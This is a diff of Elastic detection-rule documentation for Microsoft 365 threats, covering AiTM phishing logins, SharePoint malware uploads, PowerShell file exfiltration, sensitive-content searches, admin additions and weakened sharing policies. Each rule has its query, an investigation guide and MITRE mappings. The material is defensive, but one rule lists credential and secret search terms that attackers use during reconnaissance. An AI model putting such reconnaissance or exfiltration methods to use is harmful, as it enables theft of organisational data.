+* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: Email + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Potential AiTM UserLoggedIn via Office App (Tycoon2FA)* + + +Review `o365.audit.UserId`, `user_agent.original`, `source.ip` or `o365.audit.ActorIpAddress`, and related Entra ID +sign-in logs (`azure.signinlogs`) for the same session or time window. + +Confirm whether the account owner intentionally authenticated and whether Node.js-style user agents (node, axios, undici) +are expected for Microsoft Authentication Broker or Office web client flows in your environment. + + +*Possible investigation steps* + + +- Correlate with `azure.signinlogs` for matching user principal name, IP, and session identifiers. +- Review Microsoft Graph or Exchange audit activity following the login for mailbox or data access anomalies. +- Hunt for other `UserLoggedIn` events from the same source with unusual user agents or rapid OAuth patterns. + + +*Response and remediation* + + +- If malicious, revoke refresh tokens for the user, reset credentials per policy, and review conditional access outcomes. +- Block or monitor the source IP and escalate per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"o365.audit" and event.category:"authentication" and event.action:"UserLoggedIn" and +( + ( + o365.audit.ApplicationId:"29d9ed98-a469-4536-ade2-f981bc1d605e" and + o365.audit.ObjectId:( + "00000002-0000-0ff1-ce00-000000000000" or "00000003-0000-0000-c000-000000000000" + ) + ) or + ( + o365.audit.ApplicationId:"4765445b-32c6-49b0-83e6-1d93765276ca" and + o365.audit.ObjectId:"4765445b-32c6-49b0-83e6-1d93765276ca" + ) +) and user_agent.original:(node or axios* or undici) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-malware-file-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-malware-file-detected.asciidoc new file mode 100644 index 0000000000..a138f9e58a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-malware-file-detected.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-m365-sharepoint-malware-file-detected]] +=== M365 SharePoint Malware File Detected + +Identifies the occurrence of files uploaded to SharePoint being detected as Malware by the file scanning engine. Attackers can use File Sharing and Organization Repositories to spread laterally within the company and amplify their access. Users can inadvertently share these files without knowing their maliciousness, giving adversaries opportunities to gain initial access to other endpoints in the environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/virus-detection-in-spo?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft SharePoint + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 SharePoint Malware File Detected* + + +SharePoint, a collaborative platform, facilitates file sharing and storage within organizations. Adversaries exploit this by uploading malware, leveraging the platform's sharing capabilities to propagate threats laterally. The detection rule identifies when SharePoint's file scanning engine flags an upload as malicious, focusing on specific audit events to alert security teams of potential lateral movement threats. + + +*Possible investigation steps* + + +- Review the specific event details in the alert, focusing on the event.dataset, event.provider, event.code, and event.action fields to confirm the alert is related to a SharePoint file upload flagged as malware. +- Identify the user account associated with the file upload by examining the audit logs and determine if the account has a history of suspicious activity or if it has been compromised. +- Analyze the file metadata, including the file name, type, and size, to gather more context about the nature of the uploaded file and assess its potential impact. +- Check the file's sharing permissions and access history to identify other users or systems that may have interacted with the file, assessing the risk of lateral movement. +- Investigate the source of the file upload, such as the originating IP address or device, to determine if it aligns with known malicious activity or if it is an anomaly for the user. +- Coordinate with the IT team to isolate affected systems or accounts if necessary, and initiate a response plan to mitigate any potential spread of the malware within the organization. + + +*False positive analysis* + + +- Legitimate software updates or patches uploaded to SharePoint may be flagged as malware. To handle this, create exceptions for known update files by verifying their source and hash. +- Internal security tools or scripts used for testing purposes might trigger false positives. Maintain a list of these tools and exclude them from alerts after confirming their legitimacy. +- Files with encrypted content, such as password-protected documents, can be mistakenly identified as malicious. Implement a process to review and whitelist these files if they are from trusted sources. +- Large batch uploads from trusted departments, like IT or HR, may occasionally be flagged. Establish a review protocol for these uploads and whitelist them if they are verified as safe. +- Files with macros or executable content used in legitimate business processes might be detected. Work with relevant departments to identify and exclude these files from alerts after thorough validation. + + +*Response and remediation* + + +- Immediately isolate the affected SharePoint site or library to prevent further access and sharing of the malicious file. This can be done by restricting permissions or temporarily disabling access to the site. +- Notify the security operations team and relevant stakeholders about the detected malware to ensure awareness and initiate a coordinated response. +- Quarantine the identified malicious file to prevent it from being accessed or executed by users. Use SharePoint's built-in capabilities or integrated security tools to move the file to a secure location. +- Conduct a thorough scan of the affected SharePoint site and connected systems to identify any additional malicious files or indicators of compromise. Use advanced threat detection tools to ensure comprehensive coverage. +- Review and revoke any unauthorized access or sharing permissions that may have been granted to the malicious file, ensuring that only legitimate users have access to sensitive data. +- Escalate the incident to the incident response team if there are signs of lateral movement or if the malware has spread to other parts of the network, following the organization's escalation protocols. +- Implement enhanced monitoring and logging for SharePoint and related services to detect any future attempts to upload or share malicious files, leveraging the specific query fields used in the detection rule. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:SharePoint and event.code:SharePointFileOperation and event.action:FileMalwareDetected + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Taint Shared Content +** ID: T1080 +** Reference URL: https://attack.mitre.org/techniques/T1080/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ +* Sub-technique: +** Name: Upload Malware +** ID: T1608.001 +** Reference URL: https://attack.mitre.org/techniques/T1608/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc new file mode 100644 index 0000000000..ee0bd73820 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-m365-sharepoint-onedrive-file-access-via-powershell]] +=== M365 SharePoint/OneDrive File Access via PowerShell + +Identifies file downloads or access from OneDrive or SharePoint using PowerShell-based user agents. Adversaries may use native PowerShell cmdlets like Invoke-WebRequest or Invoke-RestMethod with Microsoft Graph API to exfiltrate data after compromising OAuth tokens via device code phishing or other credential theft techniques. This rule detects both direct PowerShell access and PnP PowerShell module usage for file operations. FileAccessed events are included to detect adversaries reading file content via API and saving locally, bypassing traditional download methods. Normal users access SharePoint/OneDrive via browsers or sync clients, making PowerShell-based file access inherently suspicious. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft +* https://pnp.github.io/powershell/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: Email +* Service: Microsoft SharePoint +* Service: Microsoft OneDrive + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint/OneDrive File Access via PowerShell* + + +This rule detects file downloads and access from OneDrive or SharePoint using PowerShell-based user agents. Threat actors commonly use device code phishing to obtain OAuth tokens, then use native PowerShell or PnP PowerShell modules to enumerate and exfiltrate files from SharePoint and OneDrive. FileAccessed events are included because adversaries may read file content via the Graph API `/content` endpoint and save locally, bypassing traditional download events. + + +*Possible Investigation Steps* + + +- Identify the user whose token was used and determine if they typically use PowerShell for file operations. +- Review the OAuth application/client ID used to authenticate. Look for public client IDs that may indicate device code phishing. +- Check the source IP address and compare with the user's typical access locations. +- Identify which SharePoint site or OneDrive was accessed. +- Correlate with Azure AD sign-in logs to determine if device code authentication was used. +- Look for rapid sequential file downloads from the same session, which may indicate bulk data exfiltration. +- Check for search activity from the same user/session that may indicate reconnaissance before download. + + +*False Positive Analysis* + + +- IT administrators legitimately using PnP PowerShell for site management, migration, or backup operations. +- Automated scripts using PowerShell for legitimate data processing or synchronization tasks. +- Consider creating exceptions for known automation service accounts. + + +*Response and Remediation* + + +- If unauthorized activity is confirmed, immediately revoke the OAuth token and terminate active sessions for the affected user. +- Reset the user's credentials and require reauthentication with MFA. +- Review all files accessed during the session to assess data exposure. +- Implement conditional access policies to restrict device code authentication flow. +- Consider blocking public client IDs that are not needed for business operations. +- Review and audit OAuth application permissions in your tenant. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.provider: ("SharePoint" or "OneDrive") and + event.action: ("FileDownloaded" or "FileAccessed") and + event.outcome: "success" and + user_agent.original: (*PowerShell* or *PnPPS* or *PnPCoreSDK* or *SharePointPnP*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Sharepoint +** ID: T1213.002 +** Reference URL: https://attack.mitre.org/techniques/T1213/002/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-search-for-sensitive-content.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-search-for-sensitive-content.asciidoc new file mode 100644 index 0000000000..5045fc8a97 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-search-for-sensitive-content.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-m365-sharepoint-search-for-sensitive-content]] +=== M365 SharePoint Search for Sensitive Content + +Identifies search queries in SharePoint containing sensitive terms related to credentials, financial data, PII, legal matters, or infrastructure information. Adversaries who compromise user accounts often search for high-value files before exfiltration. This rule detects searches containing terms across multiple sensitivity categories, regardless of the access method (browser, PowerShell, or API). The actual search query text is analyzed against a curated list of sensitive terms to identify potential reconnaissance activity. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Microsoft 365 +* Service: Microsoft SharePoint + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint Search for Sensitive Content* + + +This rule detects search queries in SharePoint or OneDrive that contain sensitive terms. The Microsoft 365 Unified Audit Log captures the actual search query text in the `SearchQueryText` field, allowing detection of reconnaissance activity targeting credentials, financial data, PII, legal documents, or infrastructure information. + + +*Possible Investigation Steps* + + +- Identify who performed the search and determine if this user has a legitimate business need to search for this type of content. +- Review the exact search terms used. Multiple sensitive terms in one query are more suspicious. +- Determine if the search was via browser, automation tool (PnP PowerShell), or API. +- Review the source IP and correlate with the user's typical access patterns. +- Look for subsequent file download or access events from the same user/session within minutes of the search. +- Determine if the user is a member of roles that would legitimately search for sensitive content (HR, Finance, Legal, Security, Compliance). +- Check Azure AD sign-in logs for authentication anomalies (device code flow, unusual location). + + +*Response and Remediation* + + +- If unauthorized search activity is confirmed, immediately review what files were accessed or downloaded following the search. +- Revoke the user's session tokens and require reauthentication with MFA. +- If the account was compromised, reset credentials and investigate the compromise vector. +- Review Data Loss Prevention (DLP) policies to ensure sensitive content is properly protected. +- Consider implementing sensitivity labels and access restrictions on high-value content. + + +==== Rule query + + +[source, js] +---------------------------------- +web where data_stream.dataset == "o365.audit" and + event.provider == "SharePoint" and + event.action == "SearchQueryPerformed" and + event.outcome == "success" and + o365.audit.SearchQueryText != null and + o365.audit.SearchQueryText != "" and + o365.audit.SearchQueryText like~ ( + /* Credentials and Secrets */ + "*password*", "*credential*", "*secret*", "*api key*", "*apikey*", + "*token*", "*private key*", "*certificate*", "*ssh*", "*aws*", + "*azure*", "*gcp*", "*oauth*", "*bearer*", "*connection string*", + "*access key*", "*secret key*", + /* Financial */ + "*salary*", "*payroll*", "*compensation*", "*budget*", "*revenue*", + "*financial*", "*banking*", "*invoice*", "*wire transfer*", "*account number*", + "*credit card*", "*routing number*", "*profit*", "*expense*", "*1099*", + /* Legal and Compliance */ + "*confidential*", "*privileged*", "*attorney*", "*legal hold*", "*settlement*", + "*contract*", "*nda*", "*merger*", "*acquisition*", "*litigation*", + "*subpoena*", "*trade secret*", "*intellectual property*", "*proprietary*", + "*internal*", "*proposal*", "*poc*", + /* HR and PII */ + "*ssn*", "*social security*", "*employee*", "*personnel*", "*performance review*", + "*termination*", "*tax*", "*w2*", "*benefits*", "*background check*", + "*medical*", "*hipaa*", "*passport*", "*driver license*", "*dob*", + /* Infrastructure and IT */ + "*admin*", "*root*", "*vpn*", "*firewall*", "*network diagram*", + "*architecture*", "*topology*", "*production*", "*database*", "*config*", + "*backup*", "*disaster recovery*", "*vulnerability*", "*pentest*", "*security audit*", + "*salesforce*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Sharepoint +** ID: T1213.002 +** Reference URL: https://attack.mitre.org/techniques/T1213/002/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-site-administrator-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-site-administrator-added.asciidoc new file mode 100644 index 0000000000..a32ab86fe9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-site-administrator-added.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-m365-sharepoint-site-administrator-added]] +=== M365 SharePoint Site Administrator Added + +Identifies when a new SharePoint Site Administrator is added in Microsoft 365. Site Administrators have full control over SharePoint Sites, including the ability to manage permissions, access all content, and modify site settings. Adversaries who compromise a privileged account may add themselves or a controlled account as a Site Administrator to maintain persistent, high-privilege access to sensitive SharePoint data. This technique was notably observed in the 0mega ransomware campaign, where attackers elevated privileges to exfiltrate data and deploy ransom notes across SharePoint sites. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/purview/audit-log-activities#site-permissions-activities +* https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Service: Microsoft SharePoint + +*Version*: 3 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint Site Administrator Added* + + +Site Administrators in SharePoint Online have full control over a Site, including the ability to manage permissions, access all content, and configure site-level settings. Adversaries who gain access to a privileged account may assign Site Administrator rights to maintain persistent access or facilitate data exfiltration. The `SiteCollectionAdminAdded` audit event is logged when this privilege is granted. + + +*Possible Investigation Steps* + + +- Review the `user.id` field to determine who performed the action. Assess whether this user normally manages SharePoint site permissions. +- Examine the `o365.audit.ModifiedProperties.SiteAdmin.NewValue` field to identify the account that was granted Site Administrator privileges. +- Check the `o365.audit.SiteUrl` or `url.original` to determine which Site was targeted. Assess the sensitivity of the data stored in this site. +- Review the `o365.audit.TargetUserOrGroupName` and `o365.audit.TargetUserOrGroupType` fields for additional context on the target principal. +- Pivot to sign-in logs for the acting account to look for anomalies such as logins from unfamiliar locations, devices, or IP ranges. +- Investigate whether the newly added admin account has performed subsequent actions such as file downloads, permission changes, or sharing link creation. +- Check for other recent `SiteCollectionAdminAdded` events to determine if multiple Sites were targeted in a short time frame, which may indicate bulk privilege escalation. + + +*False Positive Analysis* + + +- Routine SharePoint administration tasks by IT teams may trigger this alert. Correlate with change management tickets or scheduled maintenance windows. +- Automated provisioning tools that assign Site admin roles during site creation or migration workflows may generate expected alerts. +- Organizational changes such as team transitions or restructuring may involve legitimate Site admin reassignments. + + +*Response and Remediation* + + +- If the admin addition is unauthorized, immediately remove the Site Administrator role from the suspicious account. +- Reset credentials for both the account that performed the action and the account that was added, especially if compromise is suspected. +- Review recent activity on the affected Site for signs of data exfiltration, permission changes, or content modifications. +- Enable or verify enforcement of MFA for all accounts with SharePoint administrative privileges. +- Audit the list of Site Administrators across all Sites to identify any other unauthorized additions. +- Consider implementing Privileged Access Management (PAM) or Privileged Identity Management (PIM) to require just-in-time elevation for SharePoint admin roles. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit + and event.provider:(SharePoint or OneDrive) + and event.category:web + and event.action:SiteCollectionAdminAdded + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-site-sharing-policy-weakened.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-site-sharing-policy-weakened.asciidoc new file mode 100644 index 0000000000..dd7559357e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-sharepoint-site-sharing-policy-weakened.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-m365-sharepoint-site-sharing-policy-weakened]] +=== M365 SharePoint Site Sharing Policy Weakened + +Identifies when a SharePoint or OneDrive site sharing policy is changed to weaken security controls. The SharingPolicyChanged event fires for many routine policy modifications, but this rule targets specific high-risk transitions where sharing restrictions are relaxed. This includes enabling guest sharing, enabling anonymous link sharing, making a site public, or enabling guest user access. Adversaries who compromise administrative accounts may weaken sharing policies to exfiltrate data to external accounts or create persistent external access paths. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/purview/audit-log-activities#site-administration-activities +* https://learn.microsoft.com/en-us/purview/audit-log-sharing +* https://learn.microsoft.com/en-us/sharepoint/turn-external-sharing-on-or-off + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Service: Microsoft SharePoint + +*Version*: 5 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint Site Sharing Policy Weakened* + + +This rule detects when SharePoint or OneDrive sharing policies are modified to weaken security controls. The `SharingPolicyChanged` event captures modifications to site-level sharing settings stored in `ModifiedProperties`, where the setting name is a dynamic field key and `OldValue`/`NewValue` track the transition. This rule targets specific transitions that represent a security posture degradation. Note that Microsoft uses inconsistent keyword value formats across settings, some use `True`/`False` while others use `Enabled`/`Disabled`. + + +*Possible Investigation Steps* + + +- Identify the user who performed the change via `user.id` and determine if they have a legitimate administrative role. +- Check if the acting user is a service principal (e.g., `ServiceOperator`, `app@sharepoint`) or a human account. Service principal changes may indicate automated processes or compromised application credentials. +- Review which specific setting was changed by examining the `o365.audit.ModifiedProperties.*` fields: + - ShareWithGuests: Guest/external sharing was enabled on the site. External users can now be invited to access content. + - ShareUsingAnonymousLinks: Anonymous "Anyone" link sharing was enabled. Content can now be shared via unauthenticated links. + - IsPublic: The site or group was changed from private to public visibility. + - AllowGuestUser: Guest user access was enabled for the site. + - AllowFederatedUsers: Federated (external organization) user access was enabled. + - AllowTeamsConsumer: Teams personal account (consumer) user access was enabled. +- Identify the affected site via `o365.audit.ObjectId` (the site URL) and assess the sensitivity of its content. +- Review Azure AD / Entra ID sign-in logs for the acting account to check for authentication anomalies (unusual location, device code flow, new device). +- Look for subsequent sharing activity on the same site — `SharingSet`, `AnonymousLinkCreated`, `SharingInvitationCreated`, or file download events shortly after the policy change. +- Determine if the change was part of a planned change request or occurred outside of normal change windows. + + +*False Positive Analysis* + + +- IT administrators enabling external sharing for legitimate collaboration needs. Correlate with change management tickets or Slack/Teams messages. +- Automated provisioning scripts that configure sharing settings during site creation. These typically use service principal accounts with predictable patterns. +- Microsoft service operations (`ServiceOperator`) may modify settings as part of tenant-level policy propagation. + + +*Response and Remediation* + + +- If the change is unauthorized, immediately revert the sharing policy to its previous restrictive state. +- Revoke sessions and reset credentials for the compromised account. +- Review what content was accessed or shared after the policy change using `FileAccessed`, `FileDownloaded`, and sharing audit events. +- Audit all sites for similar unauthorized sharing policy changes. +- Implement Conditional Access policies to restrict administrative actions to trusted networks and compliant devices. +- Enable Privileged Identity Management (PIM) for SharePoint administrator roles to enforce just-in-time access. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and event.provider: ("SharePoint" or "OneDrive") and + event.action: "SharingPolicyChanged" and event.outcome: "success" and + ( + (o365.audit.ModifiedProperties.ShareWithGuests.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.ShareWithGuests.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.ShareUsingAnonymousLinks.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.ShareUsingAnonymousLinks.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.IsPublic.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.IsPublic.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.AllowGuestUser.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.AllowGuestUser.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.AllowFederatedUsers.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.AllowFederatedUsers.OldValue: (false or "Disabled")) + or + (o365.audit.ModifiedProperties.AllowTeamsConsumer.NewValue: (true or "Enabled") and + o365.audit.ModifiedProperties.AllowTeamsConsumer.OldValue: (false or "Disabled")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-teams-custom-application-interaction-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-teams-custom-application-interaction-enabled.asciidoc new file mode 100644 index 0000000000..15d3e4b0e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-teams-custom-application-interaction-enabled.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-m365-teams-custom-application-interaction-enabled]] +=== M365 Teams Custom Application Interaction Enabled + +Identifies when custom applications are allowed in Microsoft Teams. If an organization requires applications other than those available in the Teams app store, custom applications can be developed as packages and uploaded. An adversary may abuse this behavior to establish persistence in an environment. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoftteams/platform/concepts/deploy-and-publish/apps-upload + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Teams + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + 